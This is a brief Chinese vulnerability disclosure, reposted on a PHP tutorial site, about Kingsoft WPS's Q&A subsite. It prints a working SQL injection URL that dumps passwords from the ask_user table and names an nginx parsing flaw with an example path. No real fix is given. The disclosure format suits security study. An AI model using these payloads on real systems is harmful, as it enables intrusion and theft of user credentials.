网站地图    收藏   

主页 > 后端 > 网站安全 >

金山WPS官网知道子站注射及解析漏洞 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 详细说明:http://zhidao.wps.cn/此站为金山WPS官网的一个问答系统,由tipask1.3搭建,存在SQL注射漏洞SQL:http://zhidao.wps.cn/?question/ajaxsearch/123%27union%20select%201,2,3,4,5,6,7,8,password,10,11,12......



详细说明:
http://zhidao.wps.cn/
此站为金山WPS官网的一个问答系统,由tipask1.3搭建,存在SQL注射漏洞
 
SQL:
http://zhidao.wps.cn/?question/ajaxsearch/123%27union%20select%201,2,3,4,5,6,7,8,password,10,11,12,13,14,15,16,17,18,19%20from%20ask_user%23%27%
 
还有nginx解析漏洞:<code>http://zhidao.wps.cn/robots.txt/1.php>
漏洞证明:
 
 
 
 
 
修复方案:
具体你懂的
作者: 数据流

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论